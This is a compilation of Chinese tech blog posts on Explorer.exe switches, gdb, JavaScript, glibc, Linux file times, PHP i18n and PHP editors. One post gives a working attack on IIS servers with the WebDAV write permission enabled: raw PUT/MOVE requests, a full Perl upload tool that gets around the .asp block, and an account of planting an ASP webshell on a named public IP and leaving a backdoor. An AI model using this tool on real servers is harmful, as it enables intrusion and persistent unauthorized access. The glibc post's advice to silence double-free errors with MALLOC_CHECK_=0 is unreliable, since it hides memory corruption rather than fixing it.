Explorer.exe 参数解析

        在Windows中,相信大家对“Explorer.exe”并不陌生!通常情况下,在“开始→运行”中输 入“Explorer.exe”命令就能以“资源管理器”方式打开“我的文档”。其实,Explorer.exe还有很多鲜为人知的参数。

  命令格式

  Explorer [/n][/e][[,/root],[path]][[,/select],[path filename]]

  参数说明

  /n表示以“我的电脑”方式打开一个新的窗口,通常打开的是Windows安装分区的根目录。

  /e表示以“资源管理器”方式打开一个新的窗口,通常打开的也是Windows安装分区的根目录。

  /root,[path]表示打开指定的文件夹,/root表示只显示指定文件夹下面的文件(夹),不显示其它磁盘分区和文件夹;[path]表示指定的路径。

  如果不加/root参数,而只用[path]参数,则可以显示其它磁盘分区和文件夹中的内容。另外,[path]还可以指定网络共享文件夹。

  /select,[path filename]表示打开指定的文件夹并且选中指定的文件,[path filename]表示指定的路径和文件名。

  如果不加/select参数,则系统会用相应的关联程序打开该文件。如果[path filename]不跟文件名就会打开该文件夹的上级目录并选中该文件夹。

  应用实例

  1.以“资源管理器”方式打开E盘根目录

  单击“开始→运行”,输入“explorer /e,/root,e:\”,回车即可。如果需要显示其它磁盘分区和文件夹中的内容,可以输入“explorer /e,e:\”。

  2.以“我的电脑”方式打开“E:\Download”目录下的QQ.exe文件在“开始→运行”中键入“explorer /n,/select e:\download\qq.exe”或“explorer /select e:\download\qq.exe”,回车即可。

  3.通过“开始”菜单中的“Windows 资源管理器”命令打开特定窗口

  以在Windows XP下打开E盘根目录为例。首先在“开始”菜单中用鼠标右键单击“所有程序→附件→Windows 资源管理器”项,选择“属性”命令。接着在弹出窗口的“目标”栏中输入“%SystemRoot%\explorer.exe /e,e:\”(默认值是“%SystemRoot%\explorer.exe”)即可。

  4.在右键菜单里添加“打开我的文件夹”命令打开特定文件

  以在Windows XP下打开“E:\myfolder”文件夹为例。在“开始→运行”中输入“Regedit”,打开“注册表编辑器”,展开分支“HKEY_CLASSES_ROOT\Directory\shell,接着在右边窗口中新建一个名为“PersonalWindow”的子键,并将默认值改成“打开我的文件夹”;然后在“PersonalWindow”下新建一个名为“Command”的子键,在右侧的窗口中将“默认”值改为“explorer.exe /e,E:\myfolder”。这样就可以在浏览任何文件夹的时候,通过右键快捷菜单中的“打开我的文件夹”命令快速以资源管理器方式打开“E:\myfolder”文件夹。

示例

以下示例说明了 Windows 资源管理器参数的用法。

• Explorer /n

此命令使用默认设置打开一个资源管理器窗口。显示的内容通常是安装 Windows 的驱动器的根目录。

• Explorer /e

此命令使用默认视图启动 Windows 资源管理器。

• Explorer /e,C:\Windows

此命令使用默认视图启动 Windows 资源管理器,并把焦点定位在 C:\Windows。

• Explorer /root, C:\Windows\Cursors

此命令启动 Windows 资源管理器后焦点定位在 C:\Windows\Cursors folder。此示例使用

C:\Windows\Cursors 作为 Windows 资源管理器的“根”目录。

备注:请注意命令中“/root”参数后面的逗号。

Explorer /select, C:\Windows\Cursors\banana.ani

此命令启动 Windows 资源管理器后选定“C:\Windows\Cursors\banana.ani”文件。

备注

请注意命令中“/select”参数后面的逗号。

Windows 资源管理器参数可以在一个命令中进行组合。以下示例显示了 Windows 资源管理器命令行参数的组合。

Explorer /root, \\server\share, select, Program.exe

此命令启动 Windows 资源管理器时以远程共享作为“根”文件夹,而且 Program.exe 文件将被选中

妙用IIS写权限触发后门

     提到微软公司的IIS,很多人就会想到“漏洞”:UNICODE、CGI解析、ida、idq、Printer等远程溢出,还有前段去年的webdav远程溢出等,真所谓“百孔千疮”。这些都是IIS本身的程序漏洞,只要通过打上相应的补丁,就可以在一定程度上保证服务器的安全,但如果是IIS的设置不当(如目录权限,认证方法等等)而引起的安全问题,那危害会更大,因为这一般为管理员所忽视,本文就IIS的可“写入”权限进行分析。

  分析

  现在让我们看看IIS的一些设置。在IIS 服务管理器中,选择一个目录,看它的属性.在目录属性项里有这么一些选项(日志访问和索引此资源不计):

  脚本资源访问: 对网站的脚本可以读取原文件。

  读取:     读取目录里面的静态资源。

  写入:     用户可以建立以及删除资源。

  目录浏览:   用户可以浏览目录内容。

  应用程序设置的执行许可中有三个选项:

  无:        只能访问静态页面。

  纯脚本:      只允许允许脚本,如ASP脚本。

  脚本和可执行程序:  可以访问和执行各种文件类型。

  我们这里就对“写入”权限进行分析。首先看看IIS是这样“写入”的:Telnet或用NC连接到服务器的Web端口(80)并发送一个如下请求:

  PUT /Scripts/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  这时服务器会返回一个100(继续)的信息:

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:20 GMT

  接着,我们输入10个字母:

  AAAAAAAAAA

  送出这个请求后,看服务器的返回信息,如果是一个201 Created响应:

  HTTP/1.1 200 OK

  Server: Microsoft-IIS/5.0

  Date: Thu, 06 May 2004 10:20:45 GMT

  Content-Length: 0

  Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH,

  SEARCH, LOCK, UNLOCK

  这样我们就在web的Scripts目录下写入文件my_file.txt内容为“AAAAAAAAAA”。

  这里简单说明:

  PUT /dir/my_file.txt HTTP/1.1

  Host: iis-server

  Content-Length: 10

  PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。

  Host:是HTTP请求的发送地址。

  Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致。

  用NC(telnet)提交数据很烦琐,我们这里写个简单的Perl程序来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:

  #!/usr/bin/perl

  use IO::Socket;

  $ARGC = @ARGV;

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $file = @ARGV[2];

  $path = @ARGV[3];

  @s=stat("$file");

$size = $s[7]; #得到文件大小

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n"; #sock连接

  open(FILE,"$file");

  binmode(FILE); #用2进制打开文件

  while (read(FILE,$char,1024)) { #读取文件数据上传

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!" ; #成功显示

  }

  else{

  print "upfile faile!!!\n\n";

  print @req;#如果失败显示返回错误

  }

  close $sock;

  close FILE;

  下面我们测试下效果如何:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt

  kaka.txt size is 14 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir kaka.txt

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:37 14 kaka.txt

  1 个文件 14 字节

  0 个目录 3,871,080,448 可用字节

  这里我们把kaka.txt成功上传到了Web目录Scripts下,因为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe

  perl.exe size is 20535 bytes

  please wait…

  upfile Succeed!!!

  C:\Inetpub\Scripts>dir perl.exe

  驱动器 C 中的卷没有标签。

  卷的序列号是 3CD1-479E

  C:\Inetpub\Scripts 的目录

  2004-05-05 00:42 20,535 perl.exe

  1 个文件 20,535 字节

  0 个目录 3,871,031,296 可用字节

  成功!可以上传exe了,是不是可以上传任意文件呢?接着来测试ASP文件:

  C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp

  kaka.asp size is 4 bytes

  please wait…

  upfile faile!!!

  HTTP/1.1 100 Continue

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  HTTP/1.1 403 Forbidden

  Server: Microsoft-IIS/5.0

  Date: Tue, 04 May 2004 16:45:51 GMT

  Connection: close

  Content-Type: text/html

  Content-Length: 44

       <body><h2>HTTP/1.1 403 Forbidden</h2></body>

  失败!提示HTTP/1.1 403 Forbidden错误,看来直接用Post方式写ASP不行,经过测试只要是IIS支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

  那我们怎样才可以上传IIS支持的文件类型文件呢?IIS除了可以执行Put,Post,Get等动作外,还可以执行COPY,MOVE等命令,呵呵!我们这可以先把本地ASP上传到远程主机Web目录下的txt等其它文件,在提过COPY,MOVE命令来改为ASP。我们还是先用NC提交测试下:

  D:\>nc 127.0.0.1 80

  MOVE /scripts/kaka.txt HTTP/1.1

  Host:127.0.0.1

  Destination: http://127.0.0.1/scripts/kaka.asp

  HTTP/1.1 201 Created

  Server: Microsoft-IIS/5.0

  Date: Sun, 05 Oct 2003 09:30:59 GMT

  Location: http://127.0.0.1/scripts/x.asp

  Content-Type: text/xml

  Content-Length: 0

  成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合Put和Move来完成通过IIS写入文件了,我们还是用Perl来完成。测试写ASP成功:

  C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp

  ************************************************************

  codz by ≯SuperHeiQQ /><QQ:123230273> && lanker<QQ:18779569>

  ************************************************************

  kaka.asp size is 4 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  最终的iiswrite.pl代码如下(代码写的不是很好看,见笑了):

  #!/usr/bin/perl

  #The iiswrite Script

  use IO::Socket;

  $ARGC = @ARGV;

  print "*" x 60;

  print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";

  print "*" x 60,"\n";

  if ($ARGC != 4)

  {

  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";

  exit;

  }

  $host = @ARGV[0];

  $port = @ARGV[1];

  $path = @ARGV[3];

  $file = @ARGV[2];

  @path=split("/",$path);

  $any = pop(@path);

  $path1=join("/",@path);

@s=stat("$file");

  $size = $s[7];

  print "$file size is $size bytes\n";

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "PUT $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Content-Length: $size\n\n";

  open(FILE,"$file")|| die "Can’t open $file";

  binmode(FILE);

  while (read(FILE,$char,1024)) {

  print $sock "$char";

  }

  print $sock "\n\n";

  @req = <$sock>;

  print "please wait…\n";

  sleep(2);

  if ($req[4]=~/200|201/){

  print "upfile Succeed!!!\n" ;

  }

  else{

  print "upfile faile!!!\n";

  print "The IIS can’t acc write";

  }

  close $sock;

  close FILE;

  my $sock = IO::Socket::INET->new(Proto =>"tcp",

  PeerAddr =>$host,

  PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

  print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";

  print $sock "Host: $host\n";

  print $sock "Destination:http://$host:$port$path\n\n\n\n";

  @req = <$sock>;

  if ($req[0]=~/20\d+|/){

  print "Modifyfile Succeed!!!" ;

  }

  else{

  print "upfile faile!!!";

  }

  close $sock;

  Try to use it!

  1. 上传web木马。

  假如我们已经知道某主机IIS可写,我们就可以远程写入任意文件,包括ASP等,这样我们就可以直接上传一个脚本木马上去了(如海洋2004),直接危及到主机安全。

  我们实践一下:得知主机222.241.**.43的Scripts目录可以写,我们运行上面的程序上传海洋新出的ASP木马2004.asp。如图2所示。

  C:\usr\bin>perl.exe iiswt2.pl 222.241.64.43 80 2004.asp /scripts/2004.asp

  ************************************************************

  codz by ≯SuperHei && lanker

  ************************************************************

  2004.asp size is 39047 bytes

  please wait…

  upfile Succeed!!!

  Modifyfile Succeed!!!

  哈哈!写入成功,直接访问http://222.241.64.43/scripts/2004.asp输入密码就可以看到ASP木马界面了。

  2.留后门。

  利用这样的特性,我们只需要将某个路径改成可写入的,然后直接利用这样的程序就可以留着后门了,这可比直接放ASP后门强很多哦!

  防范

  所谓“安全是一个整体”,管理员配置和维护服务器时要细心,要重视每个细节。以为一个小小的细节都可能是你的服务器被攻破,本文就是一个例子。防范的方法请看防册的《让WebShell见鬼去》。由于作者的水平有限,难免有错,还望大家多包含。

gdb 多线程程序调试实例

gdb对于多线程程序的调试有如下的支持:
  
  线程产生通知:在产生新的线程时, gdb会给出提示信息
  (gdb) r
  Starting program: /root/thread
  [New Thread 1073951360 (LWP 12900)]
  [New Thread 1082342592 (LWP 12907)]—以下三个为新产生的线程
  [New Thread 1090731072 (LWP 12908)]
  [New Thread 1099119552 (LWP 12909)]
  
  查看线程:使用info threads可以查看运行的线程。
  (gdb) info threads
   4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
  * 1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb)
  
  
  注意,行首的蓝色文字为gdb分配的线程号,对线程进行切换时,使用该该号码,而不是上文标出的绿色数字。
  
  另外,行首的红色星号标识了当前活动的线程
  
  切换线程:使用 thread THREADNUMBER 进行切换,THREADNUMBER 为上文提到的线程号。下例显示将活动线程从 1 切换至 4。
  (gdb) info threads
   4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
  * 1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb) thread 4
  [Switching to thread 4 (Thread 1099119552 (LWP 12940))]#0 0xffffe002 in ?? ()
  (gdb) info threads
  * 4 Thread 1099119552 (LWP 12940) 0xffffe002 in ?? ()
   3 Thread 1090731072 (LWP 12939) 0xffffe002 in ?? ()
   2 Thread 1082342592 (LWP 12938) 0xffffe002 in ?? ()
   1 Thread 1073951360 (LWP 12931) main (argc=1, argv=0xbfffda04) at thread.c:21
  (gdb)
  
  
   以上即为使用gdb提供的对多线程进行调试的一些基本命令。另外,gdb也提供对线程的断点设置以及对指定或所有线程发布命令的命令。
  
   初次接触gdb下多线程的调试,往往会忽视gdb中活动线程的概念。一般来讲,在使用gdb调试的时候,只有一个线程为活动线程,如果希望得到其他的线程的输出结果,必须使用thread命令切换至指定的线程,才能对该线程进行调试或观察输出结果。

javascript 用法 之 call

javascript 中call的用法:

1. 简单看个实例,直接将下面部分复制到地址栏里,回车看看结果:

javascript:var a={name:’A’,m:function(){alert(this.name);}};var b={name:’B’};var c={name:’C’};a.m();a.m.call(b);a.m.call(c);

2. call是函数对象的一个方法,第一个参数指定由谁来调用自己,后面的参数就是自己定义时的参数列表了,上面实例同时还演示了this的用法

*** glibc detected *** double free

Q: 在执行一个程序时,出现如下错误:
*** glibc detected *** double free or corruption: 0x0937d008 ***
是怎么回事?  
A:   设置MALLOC_CHECK_环境变量再运行程序,呵呵,错误信息消失

MALLOC_CHECK_=0   ./myprogram

红 帽企业 Linux 4 提供的 glibc 可以执行附加的内部数据健全检查,从而在尽可能早的时候发现和保护数据被破坏。在默认的情况下,当被破坏的 数据被发现时,与以下相似的错误信息会被显示在标准的错误输出上(如果 stderr 没有打开,会被记录在 syslog 中):

*** glibc detected *** double free or corruption: 0x0937d008 ***

在默认的情况下,产生这个错误的程序也会被中止。但是,这(以及是否产生错误信息)可以通过环境变量 MALLOC_CHECK_ 来控制。以下的设置是被支持的:

0 – 不产生错误信息,也不中止这个程序

1 – 产生错误信息,但是不中止这个程序

2 – 不产生错误信息,但是中止这个程序

3 – 产生错误信息,并中止这个程序

备注
如果 MALLOC_CHECK_ 被设置为除 0 以外的值,这会使 glibc 进行更多的检查并可能影响到系统的性能。

 

我的apache里出现过这种错误

Linux 如何查看文件的创建时间

在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。

但如果文件创建后就没有修改过,修改时间=创建时间;如果文件创建后,状态就没有改变过,那么状态改变时间=创建时间;如果文件创建后,没有被读取过,那么访问时间=创建时间,这个基本不太可能。呵呵。

与文件相关的几个时间:

1。访问时间,读一次这个文件的内容,这个时间就会更新。比如对这个文件使用more命令。ls、stat命令都不会修改文件的访问时间。

2。修改时间,对文件内容修改一次,这个时间就会更新。比如:vi后保存文件。ls -l列出的时间就是这个时间。

3。状态改变时间。通过chmod命令更改一次文件属性,这个时间就会更新。

查看文件的详细的状态、准确的修改时间等,可以通过stat命令+文件名。比如:

# stat nohup.out
     File: `nohup.out’
     Size: 8306               Blocks: 32            IO Block: 4096      regular file
Device: 802h/2050d         Inode: 820136         Links: 1
Access: (0777/-rwxrwxrwx)     Uid: (       0/       root)      Gid: (       0/       root)
Access: 2007-05-28 10:28:59.492016424 -0400
Modify: 2006-11-16 09:04:03.000000000 -0500
Change: 2007-05-28 10:27:44.074481632 -0400

说明:Access访问时间。Modify修改时间。Change状态改变时间。

可以stat *查看这个目录所有文件的状态

经济危机告诉我们什么

   经济危机来了,以前只在课本中见过,虽然画面画的很惨,但是不亲身经历根本是体会不到的,现在我们有幸(是不得不)经历这次经济危机,我们不能稀里糊涂地熬过就算过了,我们要学到一些东西,毕竟每个人都为这次经济危机交了不少的学费,毕竟经济危机也是难得经历一次的。

PHP 版的 mysqlping

如何判断一个mysql是否活着呢,mysqladmin提供了该功能,其实原理很简单,只要我们随便提供一个 mysql肯定不接受的用户名、密码,mysql如果存在,肯定要拒绝的,这时产生的错误号与mysql不存在产生的错误号肯定不一样,这样就判断出来了,下面是一个简单的例子,PHP版的:

<?php
$host 
$argv[1
];
$port $argv[2
];
@
mysql_connect($host.":".$port,‘oot’,‘jjjj’
);
if(
mysql_errno() == 1045
) {
    echo 
"mysql alived\n"
;
} else {
    echo 
"mysql died\n"
;
}
?>

PHP 实现i18n

i18n 是国际化编程的一种设计:
国际化是指软件能用于多国语言环境的能力。在Linux中通过locale来设置程序运行的不同语言环境,locale由ANSI C提供支持。locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
::本文中的部分内容从网络获得
在php中实现程序的本地化,主要是依靠gettext函数实现,同时也会增加程序的复杂度。
首先在php.ini文件中加载php_gettext.dll模块。
例子:
index.php
<?php
      define(‘PACKAGE’,’index’);                     //定义一个区域变量,随便取名,最好和本网页的名称一致.
      bindtextdomain(PACKAGE,’./locate’);      //定义该区域的路径,在这个路径中包含有语言字典文件.
      textdomain(PACKAGE);                        //指定文件.
?>
<?php
    if(isset($_REQUEST["lang"])) {
        if($_REQUEST["lang"]==1) {
              putenv(‘LANG=zh_CN’);              //设定语言环境变量.
              setlocale(LC_ALL,’zh_CN’);         //设定本地语言
          }
          if($_REQUEST["lang"]==2) {
            putenv(‘LANG=en_US’);
            setlocale(LC_ALL,’en_US’);
          }
    } else {
        putenv(‘LANG=en_US’);
        setlocale(LC_ALL,’en_US’);
    }
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
  <title>L10n Text</title>
</head>
<body>
  <form method="post" action="#">
    <b><?php echo _("Simp.Chinese"); ?>:</b><input type=
    "radio" name="lang" value="1"><br>
    <b><?php echo _("English"); ?>:</b><input type=
    "radio" name="lang" value="2"><br>
    <input type="submit" name="ChgLang" value=
    "<?php echo gettext("Change Lang"); ?>">
  </form><?php
    
      echo gettext("Hello,world!");
 ?>
</body>
</html>
 
在代码中对于需要翻译的字符串在使用时先用gettext($string)标记。注:gettext()可以改写成 _() 这样可以少打几个字。
然后在./locate/ (就是bindtextdomain所指定的路径下建立相应的文件夹) demo中为中文和英文的切换,所以我这里就建立了 zh_CN和 en_US两个文件夹,如果还有其他的语言支持就要建其他的文件夹,并以语言代码为文件夹名,在语言文件夹中建立子目录名称为LC_MESSAGES,字典文件都存储于这个目录。
然后从网上下载gnuwin(在sourceforge上有)主要要使用软件包中的xgettext和msgfmt指令。安装好gnuwin后,在命令行输入如下指令生成po文件,
xgettext -o index.po index.php  
 
index.po内容如下:
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE’S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <
EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2007-07-26 03:24-0700\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <
EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <
LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=GB2312\n"
"Content-Transfer-Encoding: 8bit\n"
#: ../../../index.php:7
msgid "Simp.Chinese"
msgstr "简体中文"
#: ../../../index.php:9
msgid "English"
msgstr "英文"
#: ../../../index.php:11
msgid "Change Lang"
msgstr "更改语言"
#: ../../../index.php:22
msgid "Hello,world!"
msgstr "你好,世界!"
 
在这个文件中将msgid所对应的msgstr翻译成相应的语言,同时更改charset改成对应的字符集,中文改成gb2312,英文可以用utf-8
保存文件执行msgfmt生成mo文件
msgfmt -o index.mo index.po
 
依照上面的操作,在en_US或者其他语言的目录下也生成相应的字典文件。
到点一下按钮 就可以轻松实现L10n了。

PHP IDE 集成开发环境整理大全

editplus  http://www.editplus.com/
EditPlus 是 Internet 时代的 32 位文本编辑程序,HTML 编辑及程序员的Windows 平台编辑器。它可以充分的替换记事本,它也提供网页作家及程序设计师许多强悍的功能。对于 HTML、CSS、PHP、ASP、Perl、C/C++、Java、JavaScript 及 VBScript的语法突显。当然,它也可以在自定义语法文件后扩充其他的程序语言。嵌合网页浏览器作 HTML 页的预览,及 FTP 命令做本地文件上传到 FTP 服务器。其他功能还包含 HTML 工具栏、用户工具、列号、标尺、URL 突显。自动完成、剪贴文本、行列选择、强大的搜索与替换、多重撤消/重做、拼写检测、自定义键盘快捷键、以及更多。

UltraEdit http://www.ultraedit.com/
一套极棒的文字、Hex、ASCII 码编辑器,可以取代记事本,内建英文单字检查、C++ 及 VB 指令突显,可同时编辑多个文件,而且即使开启很大的文件速度也不会慢。
UEStudio http://www.shengfang.org/
基于 IDE (Integrated Development Environment 完整开发环境) 概念建立。特别为在 Windows 系统进行软件开发而设计,UEStudio是一个强力的程序设计平台,为 UltraEdit 用户提供新的优秀功能和素材。

Visual SlickEdit 10.0  http://www.slickedit.com/products/pr_products.php
提供全面的、灵活的C/C++, C#, Java, HTML, XML, Unicode 和许多其它编程语言文件格式和编码方式的统一的代码编写、分析和维护平台,它提供了大量的非常有助于提高你编程效率的特性,由于它在Windows、Linux和UNIX平台下提供了统一的图形界面,为多平台编程的程序员提供了最大程度的可用性,有助于效率的大幅度提高。

以上三个不能称为IDE 集成开发环境,但是是非常优秀的编辑器,很多人也使用它进行下载。搜集整理www.shengfang.org

ZendStudio http://zend.com/store/products/zend-studio/beta.php
一个屡获大奖的专业 PHP Zend Studio集成开发环境,具备功能强大的专业编辑工具和调试工具,支持PHP语法加亮显示,支持语法自动填充功能,支持书签功能,支持语法自动缩排和代码复制功能,内置一个强大的PHP代码调试工具,支持本地和远程两种调试模式,支持多种高级调试等功能,面向服务器端

WaterProof PHPEdit http://www.waterproof.fr/
PHPEdit Devel http://www.phpedit.net/
不容错过的php开发利器,用了XML技术,还实现了像著名编程语言VC、DELPHI那样的语法高亮、函数自动完成、函数参数提示等激动人心的功能!甚至还能括号匹配!其函数列表还特别适合不熟悉php函数的初学者

NuSphere PHPeD http://www.nusphere.com/
在Windows 环境下集成的编辑和运行调试环境,支持HTML、Perl、Python、C++、Javascript以及其他技术,比如层叠样式表和ASP等

Trustudio http://www.xored.com/  
一个基于Eclipse的、同时支持Python和PHP的插件,曾经是我最喜欢的Python IDE环境,功能相当全了,不过有些细节不完善以致不大好用。

Eclipse, http://www.eclipse.org/
著名开源软件,IDE,广泛用于Java开发等。加上相应插件后,可支持大部分编程语言。

使用前提:已正确搭建安装了AMP(A=Apache, M=Mysql, P=PHP)环境,操作系统平台不限

下载:http://www.shengfang.org/
Eclipse3.0.1: http://www.eclipse.org/downloads/index.php  (选择适合你系统的相应版本,支持windows,linux,max等,建议选择最新版本3.0.1)

PHPeclipse插件: http://sourceforge.net/project/ showfiles.php?group_id=57621 (同上,最新版本1.1.2) http://www.shengfang.org/

PHP Designer 2005  http://www.mpsoftware.dk/
MPS PHP DESIGNER 是针对 PHP 网页的编写所设计的程序,它内建一系列的指令码、PHP4 原始码数据库、语法高亮度显示功能、FTP 客户端…等,不管您是 PHP 网页设计高手,或者是刚入门的新手,您都可以使用者套软件来帮您设计网页程序(SQL、HTML 亦支持)。
适合不论是网页专业人员或是初学PHP的新手,支持PHP, HTML, XHTML, CSS and SQL (Ingres, Interbase, MSSQL, MySQL, Oracle, Sybase and Standard SQL),多达18种风格,功能包括自动完成、代码库、TODO管理、FTP支持、任务管理、扩展工具、代码调试、自定义标记、帮助文件搜索等

DzSoft PHP Editor  http://www.dzsoft.com/
专为 PHP 所设计的网页程序编辑软件,具有 PHP 编辑、侦错、浏览、原始码检视、档案浏览、可自订的原始码样本等功能,无须架设网站主机就可以测试 PHP  http://www.shengfang.org/

Tavrida PHP Editor  http://www.hotscripts.com/Detailed/43478.html
像Delphi一样的编辑器,用来写PHP和支持数据库的网页,内建Web服务器可供测试,支持数据库

DreamweaverMX  http://www.macromedia.com/

Maguma Workbench  http://www.maguma.com/
一款高效的PHP的集成开发环境(IDE),包含了编辑和调试 PHP程序所有必须的工具,带有十分完整的断点、分步等调试功能,支持以树形方式显示文件中的函数和类成员 
____________________________________________________________________________________

  这里介绍了一些 PHP IDE 工具,非常见的 Editplus 之类的,都是专门为 PHP 开发的,有兴趣都可以试试看,找出自己用得顺手的就可以了,呵呵,本人一年来都是用 Zend Studio 作为开发工具,因为调试和编写都很方便,代码检测功能和手册查阅功能我非常喜欢。

转自:http://www.laogui.com/index.php? /archives/48_PHP_IDE.html

  我这里整理的都是专门为PHP设计的IDE,editplus,Ultra Edit等常用文本工具我就不介绍了!其中一些介绍是从那些下载站里复制过来的!

Zend Studio
  开发商: http://www.zend.com/store/products/zend-studio.php
  目前公认的最强大的PHP开发工具,这种集成软件包包括了用于编辑,调试,配置PHP程序所需要的客户及服务器组件,软件包具有工业标准的PHP开发环境,代码完成引擎,功能齐全的调试器等

NuSphere PHPEd
  http://www.nusphere.com/
  PhpED 通过无与伦比的PHP调试和压缩能力,以及一个新的NuSOAP web服务向导成为了PHP领域的领军产品。更加强大的Project Manager使得发布站点和应用程序比以前更加容易。现在可以在线程级别对正在运行或者开发中的程序进行测试和调校。支持 CVS 版本控制,而且,对PostgreSQL和MySQL数据库的本地支持为PHP使用开源数据库提供了一个广泛的环境。但对中文支持不太好,汉字都当作单字节处理了。PHPED还有Linux版本。

PHP Coder
  http://www.phpide.de/
  PHPCoder用于快速开发和调试PHP应用程序,它很容易扩展和定制,完全能够符合开发者的个性要求.1:结合了PHP编译器和参考文档,可以对编辑中的PHP脚本进行即时预览2:支持高亮显示HTML和PHP代码;3:自动完成功能,可以自动完成用户自定义代码片断;4:标准函数提示;5:有专门的工程项目管理器;6:对象浏览器搜寻编辑中文件的包含信息,自定义函数,并以树形显示.7:支持查找对称的语句标记符;8:支持高级搜索和替换;9:自带FTP功能;10:支持运行和断点调试11:……总之,PHPCoder是一个非常实用的,功能强大的编程环境,而且它是免费的!

Ankord PHP Expert Editor
  http://www.ankord.com/phpxedit.html
  PHP Expert Editor是一个容易使用的 PHP 开发工具,它的功能照顾到初级者及专业开发人员。 PHP Expert Editor 内建 http server 用作测试及除错(你也可以使用其他 http server), PHP 语法检查, FTP 功能, 程式码样板等功能。

DzSoft PHP Editor
  http://www.dzsoft.com/dzphp.htm
  专为 PHP 所设计的网页程序编辑软件 – DzSoft PHP Editor,具有 PHP 编辑、侦错、浏览、原始码检视、档案浏览、可自订的原始码样本..等功能,无须架设网站主机就可以测试 PHP 指令码,是一套功能强大的 PHP 编程软件。
  DzSoft PHP Editor和Ankord PHP Expert Editor非常相识,几乎找不到他们的主要区别,关于这两个软件之间的具体内幕我也不太清楚!

Dev-PHP IDE
  http://devphp.sourceforge.net/
  非常好用的php编辑器,支持php-gtk,內建許多快速html表单,非常的好用,本身含繁体语言包,另附暗地论坛的中文语言包

Master PHP
  http://www.gsoftwares.com/
  一款支持PHP, PHP3, PHTML, CSS, JS, HTML, HTM and SQL的编辑器,它允许用户编辑多种一次编辑多种文件,允许插入,运行和最优化程序的脚本,用户可以通过工具栏定制按钮和窗体,可以导出html和rtf格式,支持18种语言

Komodo
  http://www.activestate.com/Products/Komodo/
  Komodo支持在Windows与Linux上,Perl、Python及JavaScript等的程序语言开发,以及多种程序语言语法不同颜色标注。这款功能强大的IDE竟然不支持中文,连中文文件名的文件都打不开!

Maguma Studio
  http://www.maguma.com/
  Maguma Studio包含了编辑和调试 PHP 程序所有必须的工具。无论您是经验丰富的开发者、或是初学者它都适合您。带有十分完整的断点、分步等调试功能。支持以树形方式显示文件中的函数和类成员。

PhpLens
  http://phplens.com
